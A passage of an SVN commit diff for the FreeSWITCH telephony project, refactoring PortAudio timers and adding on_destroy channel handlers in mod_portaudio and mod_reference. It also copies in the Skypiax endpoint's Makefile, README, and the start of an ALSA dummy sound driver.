+				AdditionalDependencies="ksuser.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\portaudio\winvc\Lib&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_portaudio.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_portaudio.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_portaudio.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_portaudio.c -- PortAudio Endpoint Module
@@ -124,11 +124,11 @@
 	private_t *call_list;
 	int ring_interval;
 	GFLAGS flags;
-	switch_timer_t timer;
+	switch_timer_t read_timer;
+	switch_timer_t write_timer;
 	switch_timer_t hold_timer;
 	int dual_streams;
-	int monitor_running;
-	int deactivate_timer;
+	time_t deactivate_timer;
 } globals;
 
 
@@ -148,6 +148,7 @@
 static void remove_pvt(private_t *tech_pvt);
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -183,7 +184,7 @@
 
 	switch_assert(tech_pvt != NULL);
 
-	last = switch_timestamp_now() - waitsec;
+	last = switch_micro_time_now() - waitsec;
 
 	if ((val = switch_channel_get_variable(channel, "pa_hold_file"))) {
 		hold_file = val;
@@ -250,9 +251,9 @@
 		}
 
 		while (switch_channel_get_state(channel) == CS_INIT && !switch_test_flag(tech_pvt, TFLAG_ANSWER)) {
-			switch_size_t olen = globals.timer.samples;
+			switch_size_t olen = globals.read_timer.samples;
 
-			if (switch_timestamp_now() - last >= waitsec) {
+			if (switch_micro_time_now() - last >= waitsec) {
 				char buf[512];
 				switch_event_t *event;
 
@@ -265,11 +266,11 @@
 					switch_event_fire(&event);
 				}
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s\n", buf);
-				last = switch_timestamp_now();
+				last = switch_micro_time_now();
 			}
 
 			if (ring_file) {
-				if (switch_core_timer_next(&globals.timer) != SWITCH_STATUS_SUCCESS) {
+				if (switch_core_timer_next(&globals.read_timer) != SWITCH_STATUS_SUCCESS) {
 					switch_core_file_close(&fh);
 					break;
 				}
@@ -280,7 +281,7 @@
 				}
 
 				if (globals.ring_stream) {
-					WriteAudioStream(globals.ring_stream, abuf, (long) olen, &globals.timer);
+					WriteAudioStream(globals.ring_stream, abuf, (long) olen, &globals.write_timer);
 				}
 			} else {
 				switch_yield(10000);
@@ -290,7 +291,7 @@
 	}
 
 	if (ring_file) {
-		//deactivate_ring_device();
+		deactivate_ring_device();
 		switch_core_file_close(&fh);
 	}
 
@@ -327,6 +328,8 @@
 		return;
 	}
 
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stop audio device.\n");
+
 	switch_mutex_lock(globals.device_lock);
 	/* LOCKED ************************************************************************************************** */
 
@@ -346,18 +349,22 @@
 static void destroy_codecs(void) 
 {
 
-	if (globals.read_codec.implementation) {
+	if (switch_core_codec_ready(&globals.read_codec)) {
 		switch_core_codec_destroy(&globals.read_codec);
 	}
 
-	if (globals.write_codec.implementation) {
+	if (switch_core_codec_ready(&globals.write_codec)) {
 		switch_core_codec_destroy(&globals.write_codec);
 	}
 
-	if (globals.timer.timer_interface) {
-		switch_core_timer_destroy(&globals.timer);
+	if (globals.read_timer.timer_interface) {
+		switch_core_timer_destroy(&globals.read_timer);
 	}
 
+	if (globals.write_timer.timer_interface) {
+		switch_core_timer_destroy(&globals.write_timer);
+	}
+
 	if (globals.hold_timer.timer_interface) {
 		switch_core_timer_destroy(&globals.hold_timer);
 	}
@@ -372,6 +379,7 @@
 		return;
 	}
 
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stop ring device.\n");
 	switch_mutex_lock(globals.device_lock);
 	if (globals.ring_stream && globals.ring_stream != globals.audio_stream) {
 		CloseAudioStream(globals.ring_stream);
@@ -424,8 +432,6 @@
 		}
 	}
 
-	globals.deactivate_timer = 0;
-
 	switch_mutex_unlock(globals.pvt_lock);
 }
 
@@ -449,7 +455,8 @@
 	if (globals.call_list) {
 		switch_set_flag_locked(globals.call_list, TFLAG_MASTER);
 	} else {
-		globals.deactivate_timer = 5;
+		globals.deactivate_timer = switch_epoch_time_now(NULL) + 2;
+		deactivate_audio_device();
 	}
 
 	switch_mutex_unlock(globals.pvt_lock);
@@ -463,6 +470,13 @@
 	}
 }
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	//private_t *tech_pvt = switch_core_session_get_private(session);
+	//switch_assert(tech_pvt != NULL);
+	return SWITCH_STATUS_SUCCESS;
+}
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	private_t *tech_pvt = switch_core_session_get_private(session);
@@ -596,14 +610,13 @@
 	
 	switch_mutex_lock(globals.device_lock);
 	samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
-							  globals.read_codec.implementation->samples_per_packet, &globals.timer);
+							  globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
 	switch_mutex_unlock(globals.device_lock);
 	
 	if (samples) {
 		globals.read_frame.datalen = samples * 2;
 		globals.read_frame.samples = samples;
 
-		//switch_core_timer_check(&globals.timer, SWITCH_TRUE);
 		*frame = &globals.read_frame;
 
 		if (!switch_test_flag((&globals), GFLAG_MOUTH)) {
@@ -648,7 +661,7 @@
 
 	if (globals.audio_stream) {
 		if (switch_test_flag((&globals), GFLAG_EAR)) {
-			WriteAudioStream(globals.audio_stream, (short *) frame->data, (int) (frame->datalen / sizeof(SAMPLE)), &globals.timer);
+			WriteAudioStream(globals.audio_stream, (short *) frame->data, (int) (frame->datalen / sizeof(SAMPLE)), &globals.write_timer);
 		}
 		status = SWITCH_STATUS_SUCCESS;
 	}
@@ -687,7 +700,14 @@
 	/*.on_execute */ channel_on_execute,
 	/*.on_hangup */ channel_on_hangup,
 	/*.on_exchange_media */ channel_on_exchange_media,
-	/*.on_soft_execute */ channel_on_soft_execute
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
+
 };
 
 switch_io_routines_t portaudio_io_routines = {
@@ -707,7 +727,7 @@
 													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
 
-	if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile;
@@ -782,8 +802,6 @@
 	/* dual streams makes portaudio on solaris choke */
 #if defined(sun) || defined(__sun)
 	globals.dual_streams = 0;
-#else
-	globals.dual_streams = 1;
 #endif
 	
 	if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
@@ -847,6 +865,8 @@
 		return SWITCH_STATUS_TERM;
 	}
 
+	globals.dual_streams = 0;
+
 	globals.indev = globals.outdev = globals.ringdev = -1;
 	globals.sample_rate = 8000;
 
@@ -863,6 +883,12 @@
 				set_global_ring_file(val);
 			} else if (!strcmp(var, "hold-file")) {
 				set_global_hold_file(val);
+			} else if (!strcmp(var, "dual-streams")) {
+				if (switch_true(val)) {
+					globals.dual_streams = 1;
+				} else {
+					globals.dual_streams = 0;
+				}
 			} else if (!strcmp(var, "timer-name")) {
 				set_global_timer_name(val);
 			} else if (!strcmp(var, "sample-rate")) {
@@ -957,18 +983,6 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_shutdown)
 {
-#if 0
-	if (globals.monitor_running == 1) {
-		int sanity = 20;
-		globals.monitor_running = -1;
-		while(globals.monitor_running) {
-			switch_yield(1000000);
-			if (!--sanity) {
-				break;
-			}
-		}
-	}
-#endif
 
 	deactivate_audio_device();
 	deactivate_ring_device();
@@ -978,30 +992,17 @@
 	switch_core_hash_destroy(&globals.call_hash);
 
 	switch_event_free_subclass(MY_EVENT_RINGING);
+	
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.cid_name);
+	switch_safe_free(globals.cid_num);
+	switch_safe_free(globals.ring_file);
+	switch_safe_free(globals.hold_file);
+	switch_safe_free(globals.timer_name);
 
 	return SWITCH_STATUS_SUCCESS;
 }
 
-#if 0
-SWITCH_MODULE_RUNTIME_FUNCTION(mod_portaudio_runtime)
-{
-	globals.monitor_running = 1;
-	while(globals.monitor_running == 1) {
-		switch_mutex_lock(globals.pvt_lock);
-		if (!globals.call_list && globals.deactivate_timer > 0) {
-			if (!--globals.deactivate_timer) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No more channels, deactivating audio\n");
-				deactivate_audio_device();
-			}
-		}
-		switch_mutex_unlock(globals.pvt_lock);
-		switch_yield(1000000);
-	}
-	globals.monitor_running = 0;
-	return SWITCH_STATUS_TERM;
-}
-#endif
-
 static int get_dev_by_number(char *numstr, int in)
 {
 	int numDevices = Pa_GetDeviceCount();
@@ -1283,22 +1284,32 @@
 	int sample_rate = globals.sample_rate;
 	int codec_ms = globals.codec_ms;
 
+	switch_mutex_lock(globals.device_lock);
+	while (globals.deactivate_timer > switch_epoch_time_now(NULL)) {
+		switch_yield(1000000);
+	}
+	switch_mutex_unlock(globals.device_lock);
 
+
 	if (restart) {
 		deactivate_audio_device();
 		deactivate_ring_device();
 		destroy_codecs();
 	}
 
-	if (globals.timer.timer_interface) {
-		switch_core_timer_sync(&globals.timer);
+	if (globals.read_timer.timer_interface) {
+		switch_core_timer_sync(&globals.read_timer);
 	}
 
+	if (globals.write_timer.timer_interface) {
+		switch_core_timer_sync(&globals.write_timer);
+	}
+
 	if (globals.audio_stream) {
 		return SWITCH_STATUS_SUCCESS;
 	}
 
-	if (!globals.read_codec.implementation) {
+	if (!switch_core_codec_ready(&globals.read_codec)) {
 		if (switch_core_codec_init(&globals.read_codec,
 								   "L16",
 								   NULL, sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
@@ -1310,7 +1321,7 @@
 
 	switch_assert(globals.read_codec.implementation);
 
-	if (!globals.write_codec.implementation) {
+	if (!switch_core_codec_ready(&globals.write_codec)) {
 		if (switch_core_codec_init(&globals.write_codec,
 								   "L16",
 								   NULL,
@@ -1322,8 +1333,8 @@
 		}
 	}
 
-	if (!globals.timer.timer_interface) {
-		if (switch_core_timer_init(&globals.timer,
+	if (!globals.read_timer.timer_interface) {
+		if (switch_core_timer_init(&globals.read_timer,
 								   globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
 								   module_pool) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
@@ -1333,6 +1344,19 @@
 		}
 	}
 
+
+	if (!globals.write_timer.timer_interface) {
+		if (switch_core_timer_init(&globals.write_timer,
+								   globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
+								   module_pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
+			switch_core_codec_destroy(&globals.read_codec);
+			switch_core_codec_destroy(&globals.write_codec);
+			switch_core_timer_destroy(&globals.read_timer);
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+
 	if (!globals.hold_timer.timer_interface) {
 		if (switch_core_timer_init(&globals.hold_timer,
 								   globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
@@ -1340,7 +1364,8 @@
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup hold timer failed!\n");
 			switch_core_codec_destroy(&globals.read_codec);
 			switch_core_codec_destroy(&globals.write_codec);
-			switch_core_timer_destroy(&globals.timer);
+			switch_core_timer_destroy(&globals.read_timer);
+			switch_core_timer_destroy(&globals.write_timer);
 			return SWITCH_STATUS_FALSE;
 		}
 	}
@@ -1378,7 +1403,8 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
 		switch_core_codec_destroy(&globals.read_codec);
 		switch_core_codec_destroy(&globals.write_codec);
-		switch_core_timer_destroy(&globals.timer);
+		switch_core_timer_destroy(&globals.read_timer);
+		switch_core_timer_destroy(&globals.write_timer);
 		switch_core_timer_destroy(&globals.hold_timer);
 		return SWITCH_STATUS_FALSE;
 	}
@@ -1546,6 +1572,7 @@
 				switch_channel_t *channel = switch_core_session_get_channel(tp->session);
 				switch_set_flag_locked(tp, TFLAG_ANSWER);
 				add_pvt(tp, PA_MASTER);
+				deactivate_ring_device();
 				switch_channel_mark_answered(channel);
 			}
 		} else {
@@ -1560,6 +1587,7 @@
 			switch_channel_t *channel = switch_core_session_get_channel(tp->session);
 			switch_set_flag_locked(tp, TFLAG_ANSWER);
 			add_pvt(tp, PA_MASTER);
+			deactivate_ring_device();
 			switch_channel_mark_answered(channel);
 			x++;
 			break;
@@ -1685,7 +1713,7 @@
 	}
 	dest = argv[0];
 
-	if ((session = switch_core_session_request(portaudio_endpoint_interface, NULL)) != 0) {
+	if ((session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		char *dialplan = globals.dialplan;
@@ -1727,7 +1755,7 @@
 			tech_pvt->codec_ms = atoi(argv[5]);
 		}
 
-		switch_find_local_ip(ip, sizeof(ip), AF_INET);
+		switch_find_local_ip(ip, sizeof(ip), NULL, AF_INET);
 
 		if ((tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
 																  NULL, dialplan, cid_name, cid_num, ip, NULL, NULL, NULL, modname, NULL, dest)) != 0) {
@@ -1741,6 +1769,7 @@
 		tech_pvt->session = session;
 		if ((status = engage_device(0)) == SWITCH_STATUS_SUCCESS) {
 			switch_set_flag_locked(tech_pvt, TFLAG_ANSWER);
+			deactivate_ring_device();
 			switch_channel_mark_answered(channel);
 			switch_channel_set_state(channel, CS_INIT);
 			if (switch_core_session_thread_launch(tech_pvt->session) != SWITCH_STATUS_SUCCESS) {
@@ -1777,7 +1806,7 @@
 		"pa help\n"
 		"pa dump\n"
 		"pa rescan\n"
-		"pa call <dest> [<dialplan> <cid_name> <cid_num> <rate>]\n"
+		"pa call <dest> [<dialplan> <cid_name> <cid_num>]\n"
 		"pa answer [<call_id>]\n"
 		"pa hangup [<call_id>]\n"
 		"pa list\n"
@@ -1897,7 +1926,7 @@
 		devname = "indev";
 		if (devval > -1) {
 			globals.indev = devval;
-			engage_device(1);
+			//engage_device(1);
 		}
 	} else if (argv[1] && !strcmp(argv[0], "outdev")) {
 
@@ -1914,7 +1943,7 @@
 		devname = "outdev";
 		if (devval > -1) {
 			globals.outdev = devval;
-			engage_device(1);
+			//engage_device(1);
 		}
 	} else if (argv[1] && !strcmp(argv[0], "ringdev")) {
 
@@ -1931,7 +1960,7 @@
 		devname = "ringdev";
 		if (devval > -1) {
 			globals.ringdev = devval;
-			engage_device(1);
+			//engage_device(1);
 		}
 	} else if ((argv[1] && !strcasecmp(argv[0], "play"))) {
 		switch_file_handle_t fh = { 0 };
@@ -1972,8 +2001,8 @@
 									   playfile, seconds, samples, globals.read_codec.implementation->actual_samples_per_second);
 				
 				while (switch_core_file_read(&fh, abuf, &olen) == SWITCH_STATUS_SUCCESS) {
-					WriteAudioStream(globals.audio_stream, abuf, (long) olen, &globals.timer);
-					switch_core_timer_next(&globals.timer);
+					WriteAudioStream(globals.audio_stream, abuf, (long) olen, &globals.read_timer);
+					switch_core_timer_next(&globals.read_timer);
 					samples -= (int) olen;
 					if (samples <= 0) {
 						break;
@@ -1982,6 +2011,7 @@
 				} 
 
 				switch_core_file_close(&fh);
+				deactivate_audio_device();
 			} else {
 				stream->write_function(stream, "Cannot play requested file %s\n", argv[1]);
 			}
@@ -2001,8 +2031,8 @@
 			int i;
 			for(i = 0; i < 400; i++) {
 				if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
-						globals.read_codec.implementation->samples_per_packet, &globals.timer))) {
-					WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.timer);
+						globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
+					WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.write_timer);
 					success = 1;
 				}
 				switch_yield(10000);
@@ -2010,6 +2040,7 @@
 			if (!success) {
 				stream->write_function(stream, "Failed to read any bytes from indev\n");
 			}
+			deactivate_audio_device();
 		} else {
 			stream->write_function(stream, "Failed to engage audio device\n");
 		}

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/pablio.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/pablio.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/pablio.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -146,17 +146,15 @@
 	char *p = (char *) data;
 	long numBytes = aStream->bytesPerFrame * numFrames;
 
-	while (numBytes > 0) {
-		bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
-		numBytes -= bytesWritten;
-		p += bytesWritten;
-		if (numBytes > 0) {
-			if (switch_core_timer_check(timer, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
-				PaUtil_FlushRingBuffer(&aStream->outFIFO);
-				return 0;
-			}
-			switch_cond_next();
-		}
+	switch_core_timer_next(timer);
+
+	bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
+	numBytes -= bytesWritten;
+	p += bytesWritten;
+	
+	if (numBytes > 0) {
+		PaUtil_FlushRingBuffer(&aStream->outFIFO);
+		return 0;
 	}
 	return numFrames;
 }
@@ -170,31 +168,32 @@
 	long bytesRead = 0;
 	char *p = (char *) data;
 	long avail, totalBytes = 0, neededBytes = aStream->bytesPerFrame * numFrames;
+	int max = 5000;
 
-	for (;;) {
-		avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
-		
-		if (switch_core_timer_check(timer, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
-			break;
-		}
+	switch_core_timer_next(timer);
 
+	while(totalBytes < neededBytes && --max > 0) {
+
+		avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
+		//printf("AVAILABLE BYTES %ld pass %d\n", avail, 5000 - max);
 		if (avail >= neededBytes * 6) {
 			PaUtil_FlushRingBuffer(&aStream->inFIFO);
 			avail = 0;
-		}
+		} else {
 
-		bytesRead = 0;
+			bytesRead = 0;
+			
+			if (totalBytes < neededBytes && avail >= neededBytes) {
+				bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
+				totalBytes += bytesRead;
+			}
 
-		if (totalBytes < neededBytes && avail >= neededBytes) {
-			bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
-			totalBytes += bytesRead;
+			if (bytesRead) {
+				p += bytesRead;
+			} else {
+				switch_cond_next();
+			}
 		}
-
-		if (bytesRead) {
-			p += bytesRead;
-		} else {
-			switch_cond_next();
-		}
 	}
 
 	return totalBytes / aStream->bytesPerFrame;

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_reference/mod_reference.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_reference/mod_reference.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_reference/mod_reference.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_reference.c -- REFERENCE Endpoint Module
@@ -100,6 +100,7 @@
 
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -185,6 +186,30 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	switch_channel_t *channel = NULL;
+	private_t *tech_pvt = NULL;
+
+	channel = switch_core_session_get_channel(session);
+	assert(channel != NULL);
+
+	tech_pvt = switch_core_session_get_private(session);
+
+	if (tech_pvt) {
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+		
+		if (switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	switch_channel_t *channel = NULL;
@@ -200,15 +225,7 @@
 	switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
 	//switch_thread_cond_signal(tech_pvt->cond);
 
-	if (tech_pvt->read_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->read_codec);
-	}
 
-	if (tech_pvt->write_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->write_codec);
-	}
-
-
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(channel));
 	switch_mutex_lock(globals.mutex);
 	globals.calls--;
@@ -272,8 +289,8 @@
 {
 	switch_channel_t *channel = NULL;
 	private_t *tech_pvt = NULL;
-	switch_time_t started = switch_time_now();
-	unsigned int elapsed;
+	//switch_time_t started = switch_time_now();
+	//unsigned int elapsed;
 	switch_byte_t *data;
 
 	channel = switch_core_session_get_channel(session);
@@ -399,7 +416,7 @@
 													switch_caller_profile_t *outbound_profile,
 													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
-	if ((*new_session = switch_core_session_request(reference_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile;
@@ -462,7 +479,14 @@
 	/*.on_execute */ channel_on_execute,
 	/*.on_hangup */ channel_on_hangup,
 	/*.on_exchange_media */ channel_on_exchange_media,
-	/*.on_soft_execute */ channel_on_soft_execute
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
+
 };
 
 switch_io_routines_t reference_io_routines = {
@@ -532,6 +556,8 @@
 
 	module_pool = pool;
 
+	memset(&globals, 0, sizeof(globals));
+
 	load_config();
 
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
@@ -565,6 +591,13 @@
 		}
 		switch_yield(20000);
 	}
+	
+	/* Free dynamically allocated strings */
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.codec_string);
+	switch_safe_free(globals.codec_rates_string);
+	switch_safe_free(globals.ip);
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax)

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax


Name: svn:ignore
   + Win32
*.user

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/Makefile

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/Makefile (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+MODNAME=mod_skypiax
+SVNDEF := -D'SKYPIAX_SVN_VERSION="$(shell svnversion -n .)"'
+LOCAL_CFLAGS += $(SVNDEF)
+LOCAL_LDFLAGS=-lX11
+LOCAL_OBJS=skypiax_protocol.o
+include ../../../../build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/README

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/README (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/README) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/README	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+Skypiax, Skype Endpoint and Trunk
+
+All documentation on compiling, using, configuring, 
+tricks and tweaks, possible problems at: 
+
+http://wiki.freeswitch.org/wiki/Skypiax_Skype_Endpoint_and_Trunk
+
+< gmaruzz at gmail dot com >
+

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/alsa-driver-1.0.20-dummy.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/alsa-driver-1.0.20-dummy.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/alsa-driver-1.0.20-dummy.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/alsa-driver-1.0.20-dummy.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/alsa-driver-1.0.20-dummy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+link ./dummy.c
\ No newline at end of file

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/dummy.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/dummy.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/dummy.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/alsa/dummy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,958 @@
+/*
+ *  Dummy soundcard
+ *  Copyright (c) by Jaroslav Kysela <perex@perex.cz>
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
